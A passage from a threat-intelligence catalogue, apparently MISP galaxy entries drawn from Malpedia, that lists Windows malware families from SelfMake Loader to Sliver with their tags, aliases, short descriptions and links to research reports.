https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

SelfMake Loader

The tag is: *misp-galaxy:malpedia="SelfMake Loader"*

SelfMake Loader is also known as:

Table 3056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake
https://twitter.com/8th_grey_owl/status/1481433481485844483

SendSafe

The tag is: *misp-galaxy:malpedia="SendSafe"*

SendSafe is also known as:

Table 3057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618

SepSys

Ransomware.

The tag is: *misp-galaxy:malpedia="SepSys"*

SepSys is also known as:

- Silvertor Ransomware

Table 3058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys
https://id-ransomware.blogspot.com/2020/02/sepsys-ransomware.html

Sepulcher

The tag is: *misp-galaxy:malpedia="Sepulcher"*

Sepulcher is also known as:

Table 3059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic

Serpico

The tag is: *misp-galaxy:malpedia="Serpico"*

Serpico is also known as:

Table 3060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico

ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: *misp-galaxy:malpedia="ServHelper"*

ServHelper is also known as:

Table 3061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper
https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware

https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://intel471.com/blog/a-brief-history-of-ta505
https://prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf
https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/
https://medium.com/walmartglobaltech/ta505-adds-golang-crypter-for-delivering-miners-and-servhelper-af70b26a6e56
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://insights.oem.avira.com/ta505-apt-group-targets-americas/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners
https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/
https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html
https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf
https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/

SessionManager

A malicious IIS module that allows up/download of files, remote command execution, and using the compromised server as a hop into the network behind.

The tag is: *misp-galaxy:malpedia="SessionManager"*

SessionManager is also known as:

Table 3062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager
https://securelist.com/the-sessionmanager-iis-backdoor/106868/

Sfile

Ransomware

The tag is: *misp-galaxy:malpedia="Sfile"*

Sfile is also known as:

- Escal
- Morseop

Table 3063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile
https://twitter.com/GrujaRS/status/1296856836944076802?s=20
https://id-ransomware.blogspot.com/2020/02/sfile2-ransomware.html
https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/

shadowhammer

The tag is: *misp-galaxy:malpedia="shadowhammer"*

shadowhammer is also known as:

- DAYJOB

Table 3064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf
https://norfolkinfosec.com/the-first-stage-of-shadowhammer/
https://blog.f-secure.com/a-hammer-lurking-in-the-shadows/
https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/

https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html
https://www.youtube.com/watch?v=T5wPwvLrBYU
https://labsblog.f-secure.com/2019/03/29/a-hammer-lurking-in-the-shadows
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.reversinglabs.com/blog/forging-the-shadowhammer
https://mauronz.github.io/shadowhammer-backdoor
https://norfolkinfosec.com/possible-shadowhammer-targeting-low-confidence/
https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/
https://securelist.com/apt-trends-report-q2-2020/97937/
https://securelist.com/operation-shadowhammer/89992/
https://www.vkremez.com/2019/03/lets-learn-dissecting-operation.html
https://skylightcyber.com/2019/03/28/unleash-the-hash-shadowhammer-mac-list/

ShadowPad

The tag is: *misp-galaxy:malpedia="ShadowPad"*

ShadowPad is also known as:

- POISONPLUG.SHADOW
- XShellGhost

Table 3065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
https://medium.com/insomniacs/its-a-bee-it-s-a-no-it-s-shadowpad-aff6a970a1c2
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.welivesecurity.com/2022/09/06/worok-big-picture/
https://www.ic3.gov/Media/News/2021/211220.pdf
https://thehackernews.com/2022/02/researchers-link-shadowpad-malware.html
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

https://www.youtube.com/watch?v=55kaaMGBARM
https://www.recordedfuture.com/continued-targeting-of-indian-power-grid-assets/
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/
https://www.recordedfuture.com/redecho-targeting-indian-power-sector/
https://www.youtube.com/watch?v=r1zAVX_HnJg
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf
https://community.riskiq.com/article/d8b749f2
https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf
https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html
https://therecord.media/redecho-group-parks-domains-after-public-exposure/
https://www.secureworks.com/research/shadowpad-malware-analysis
https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/
https://securelist.com/shadowpad-in-corporate-networks/81432/
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf
https://labs.sentinelone.com/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf
https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html

https://www.theregister.com/2022/04/08/china_sponsored_attacks_india_ukraine/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/
https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/
https://attack.mitre.org/groups/G0096
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://www.youtube.com/watch?v=IRh6R8o1Q7U
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.youtube.com/watch?v=_fstHQSK-kk
https://hub.dragos.com/hubfs/333%20Year%20in%20Review/2021/2021%20ICS%20OT%20Cybersecurity%20Year%20In%20Review%20-%20Dragos%202021.pdf
https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20ShadowPad%20-%20A%20Masterpiece%20of%20Privately%20Sold%20Malware%20in%20Chinese%20Espionage%20-%20Yi-Jhen%20Hsieh%20&%20Joey%20Chen.pdf

Shakti

The tag is: *misp-galaxy:malpedia="Shakti"*

Shakti is also known as:

Table 3066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/

SHAPESHIFT

The tag is: *misp-galaxy:malpedia="SHAPESHIFT"*

SHAPESHIFT is also known as:

Table 3067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

shareip

The tag is: *misp-galaxy:malpedia="shareip"*

shareip is also known as:

- remotecmd

Table 3068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

Shark

The tag is: *misp-galaxy:malpedia="Shark"*

Shark is also known as:

Table 3069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shark
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/
https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf

SharpBeacon

NET reimplementation of Cobalt Strike beacon/stager

The tag is: *misp-galaxy:malpedia="SharpBeacon"*

SharpBeacon is also known as:

Table 3070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpbeacon
https://github.com/mai1zhi2/SharpBeacon

SHARPKNOT

The tag is: *misp-galaxy:malpedia="SHARPKNOT"*

SHARPKNOT is also known as:

- Bitrep

Table 3071. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot
https://eromang.zataz.com/tag/agentbase-exe/
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

SharpMapExec

This tool is made to simplify penetration testing of networks and to create a Swiss-army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.

The tag is: *misp-galaxy:malpedia="SharpMapExec"*

SharpMapExec is also known as:

Table 3072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpmapexec
https://github.com/cube0x0/SharpMapExec

SharpStage

The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east.

The tag is: *misp-galaxy:malpedia="SharpStage"*

SharpStage is also known as:

- LastConn

Table 3073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage
https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/

https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign

SHARPSTATS

The tag is: *misp-galaxy:malpedia="SHARPSTATS"*

SHARPSTATS is also known as:

Table 3074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstats
https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf

ShellClient RAT

The tag is: *misp-galaxy:malpedia="ShellClient RAT"*

ShellClient RAT is also known as:

- GhostShell

Table 3075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/
https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms

ShellLocker

The tag is: *misp-galaxy:malpedia="ShellLocker"*

ShellLocker is also known as:

Table 3076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker
https://twitter.com/JaromirHorejsi/status/813726714228604928

Shifu

Shifu was originally discovered by Trusteer security researchers (Ilya Kolmanovich, Denis Laskov) in the middle of 2015. It is a banking trojan mostly focusing on Japanese banks and has rich features for remote data extraction and control.

The tag is: *misp-galaxy:malpedia="Shifu"*

Shifu is also known as:

Table 3077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/
https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan

Shim RAT

The tag is: *misp-galaxy:malpedia="Shim RAT"*

Shim RAT is also known as:

Table 3078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat
https://www.secureworks.com/research/threat-profiles/bronze-walker
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

SHIPSHAPE

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.

The tag is: *misp-galaxy:malpedia="SHIPSHAPE"*

SHIPSHAPE is also known as:

Table 3079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

Shujin

The tag is: *misp-galaxy:malpedia="Shujin"*

Shujin is also known as:

Table 3080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin
https://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/

Shurl0ckr

The tag is: *misp-galaxy:malpedia="Shurl0ckr"*

Shurl0ckr is also known as:

Table 3081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Shylock

The tag is: *misp-galaxy:malpedia="Shylock"*

Shylock is also known as:

- Caphaw

Table 3082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock
https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/

https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html
https://www.europol.europa.eu/newsroom/news/global-action-targeting-shylock-malware
https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/

SideTwist

The tag is: *misp-galaxy:malpedia="SideTwist"*

SideTwist is also known as:

Table 3083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidetwist
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

SideWalk (Windows)

Shellcode-based malware family that according to ESET Research was likely written by the same authors as win.crosswalk.

The tag is: *misp-galaxy:malpedia="SideWalk (Windows)"*

SideWalk (Windows) is also known as:

- ScrambleCross

Table 3084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware
https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf

SideWinder (Windows)

The tag is: *misp-galaxy:malpedia="SideWinder (Windows)"*

SideWinder (Windows) is also known as:

Table 3085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c
https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/
https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c
https://s.tencent.com/research/report/479.html
https://www.secrss.com/articles/26507
https://s.tencent.com/research/report/659.html
https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/

SiennaBlue

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: *misp-galaxy:malpedia="SiennaBlue"*

SiennaBlue is also known as:

- H0lyGh0st
- HolyLocker

Table 3086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue
https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware
https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

SiennaPurple

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: *misp-galaxy:malpedia="SiennaPurple"*

SiennaPurple is also known as:

- H0lyGh0st
- HolyLocker

Table 3087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple
https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware
https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

Sierra(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Sierra(Alfa,Bravo, ...)"*

Sierra(Alfa,Bravo, ...) is also known as:

- Destover

Table 3088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.us-cert.gov/ncas/alerts/TA14-353A

Siggen6

The tag is: *misp-galaxy:malpedia="Siggen6"*

Siggen6 is also known as:

Table 3089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6

sihost

The tag is: *misp-galaxy:malpedia="sihost"*

sihost is also known as:

Table 3090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sihost
https://threatrecon.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists/

Silence

The tag is: *misp-galaxy:malpedia="Silence"*

Silence is also known as:

- TrueBot

Table 3091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silence
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf
https://securelist.com/the-silence/83009/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
http://www.intezer.com/silenceofthemoles/
https://reaqta.com/2019/01/silence-group-targeting-russian-banks/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
https://github.com/Tera0017/TAFOF-Unpacker

https://www.youtube.com/watch?v=FttiysUZmDw
https://www.group-ib.com/resources/threat-research/silence.html
https://norfolkinfosec.com/some-notes-on-the-silence-proxy/
https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/

Silon

The tag is: *misp-galaxy:malpedia="Silon"*

Silon is also known as:

Table 3092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silon
http://www.internetnews.com/security/article.php/3846186/TwoHeaded+Trojan+Targets+Online+Banks.htm
http://contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html

Siluhdur

The tag is: *misp-galaxy:malpedia="Siluhdur"*

Siluhdur is also known as:

Table 3093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur

Simda

The tag is: *misp-galaxy:malpedia="Simda"*

Simda is also known as:

- iBank

Table 3094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simda
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://blog.trendmicro.com/trendlabs-security-intelligence/simda-a-botnet-takedown/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.youtube.com/watch?v=u2HEGDzd8KM
https://secrary.com/ReversingMalware/iBank/

SimpleFileMover

The tag is: *misp-galaxy:malpedia="SimpleFileMover"*

SimpleFileMover is also known as:

Table 3095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Sinowal

The tag is: *misp-galaxy:malpedia="Sinowal"*

Sinowal is also known as:

- Anserin
- Mebroot
- Quarian
- Theola
- Torpig

Table 3096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.recordedfuture.com/turla-apt-infrastructure/
https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan
https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/
https://en.wikipedia.org/wiki/Torpig

Sisfader

The tag is: *misp-galaxy:malpedia="Sisfader"*

Sisfader is also known as:

Table 3097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/
https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4

Skimer

The tag is: *misp-galaxy:malpedia="Skimer"*

Skimer is also known as:

Table 3098. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skimer
http://atm.cybercrime-tracker.net/index.php
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html

SkinnyBoy

The tag is: *misp-galaxy:malpedia="SkinnyBoy"*

SkinnyBoy is also known as:

Table 3099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy

https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf
https://cybergeeks.tech/skinnyboy-apt28/

skip-2.0

A Microsoft SQL Server backdoor

The tag is: *misp-galaxy:malpedia="skip-2.0"*

skip-2.0 is also known as:

Table 3100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20
https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/

Skipper

The tag is: *misp-galaxy:malpedia="Skipper"*

Skipper is also known as:

- Kotel

Table 3101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper
https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/

Skyplex

The tag is: *misp-galaxy:malpedia="Skyplex"*

Skyplex is also known as:

Table 3102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex

Slave

The tag is: *misp-galaxy:malpedia="Slave"*

Slave is also known as:

Table 3103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slave
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/

SLICKSHOES

The tag is: *misp-galaxy:malpedia="SLICKSHOES"*

SLICKSHOES is also known as:

Table 3104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045b

Slingshot

- 2012 first sighted
- Attack vector via compromised Microtik routers where victim's got infection when they connect to Microtik router admin software - Winbox
- 2018 when discovered by Kaspersky Team

Infection Vector - Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer

The tag is: *misp-galaxy:malpedia="Slingshot"*

Slingshot is also known as:

Table 3105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://securelist.com/apt-slingshot/84312/
https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf
https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/

Sliver

The tag is: *misp-galaxy:malpedia="Sliver"*

Sliver is also known as:

Table 3106. Table References

Links
